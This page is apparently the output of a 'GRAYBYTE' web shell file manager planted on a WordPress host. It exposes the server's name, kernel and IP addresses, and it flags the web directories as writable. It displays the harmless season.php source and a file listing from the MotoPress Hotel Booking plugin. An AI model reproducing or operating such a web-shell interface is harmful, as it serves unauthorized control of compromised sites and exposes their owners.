✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/motopress-hotel-booking/includes/entities//season.php
<?php

namespace MPHB\Entities;

/**
 *
 * @param array $atts
 * @param int $atts['id'] Id of season
 * @param string $atts['title'] Title of season
 * @param string $atts['description'] Description of season
 * @param DateTime $atts['start_date'] Start Date of season
 * @param DateTime $atts['end_date'] End Date of season
 * @param array $atts['days'] Days of season
 */
class Season {

	/**
	 *
	 * @var int
	 */
	private $id;

	/**
	 *
	 * @var string
	 */
	private $title;

	/**
	 *
	 * @var string
	 */
	private $description;

	/**
	 *
	 * @var \DateTime
	 */
	private $startDate;

	/**
	 *
	 * @var \DateTime
	 */
	private $endDate;

	/**
	 *
	 * @var array
	 */
	private $days = array();

	/**
	 *
	 * @var \DateTime[]
	 */
	private $dates = array();

	public function __construct( $atts ) {
		$this->id          = $atts['id'];
		$this->title       = $atts['title'];
		$this->description = $atts['description'];
		$this->startDate   = $atts['start_date'];
		$this->endDate     = $atts['end_date'];
		$this->days        = array_map( '\MPHB\Utils\CastUtils::toInt', $atts['days'] );
		$this->setupDates();
	}

	private function setupDates() {

		$dates = array();

		if ( ! is_null( $this->startDate ) && ! is_null( $this->endDate ) ) {
			$datePeriod = \MPHB\Utils\DateUtils::createDatePeriod( $this->startDate, $this->endDate, true );
			$dates      = iterator_to_array( $datePeriod );

			// remove not allowed week days from period
			$dates = array_filter( $dates, array( $this, 'isAllowedWeekDay' ) );
		}

		$this->dates = $dates;
	}

	/**
	 * @param \DateTime $date
	 *
	 * @return bool
	 */
	public function isDateInSeason( $date ) {
		return $date >= $this->startDate && $date <= $this->endDate && $this->isAllowedWeekDay( $date );
	}

	/**
	 *
	 * @param \DateTime $date
	 *
	 * @return bool
	 */
	public function isAllowedWeekDay( $date ) {
		$weekDay = $date->format( 'w' );
		return in_array( $weekDay, $this->days );
	}

	/**
	 *
	 * @return int
	 */
	function getId() {
		return $this->id;
	}

	/**
	 *
	 * @return string
	 */
	function getTitle() {
		return $this->title;
	}

	/**
	 *
	 * @return \DateTime
	 */
	function getDescription() {
		return $this->description;
	}

	/**
	 *
	 * @return \DateTime|null
	 */
	function getStartDate() {
		return $this->startDate;
	}

	/**
	 *
	 * @return \DateTime|null
	 */
	function getEndDate() {
		return $this->endDate;
	}

	/**
	 *
	 * @return array
	 */
	public function getDays() {
		return $this->days;
	}

	/**
	 *
	 * @return \DateTime[]
	 */
	function getDates() {
		return $this->dates;
	}

}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
.htaccess
0.41 KB
28 Apr 2026 8.56 AM
builxejc / builxejc
0644
abstract-coupon.php
6.785 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
accommodation-attribute.php
2.27 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
booking.php
16.744 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
customer.php
4.048 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
fixed-accommodation-coupon.php
0.674 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
fixed-accommodation-per-day-coupon.php
0.659 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
payment.php
4.848 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
percent-coupon.php
0.96 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
rate.php
5.321 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
reserved-room.php
14.627 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
reserved-service.php
4.477 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
room-type.php
6.572 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
room.php
1.81 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
season-price.php
4.889 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
season.php
2.509 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
service.php
3.897 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644
wp-post-data.php
2.841 KB
18 Nov 2024 1.16 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF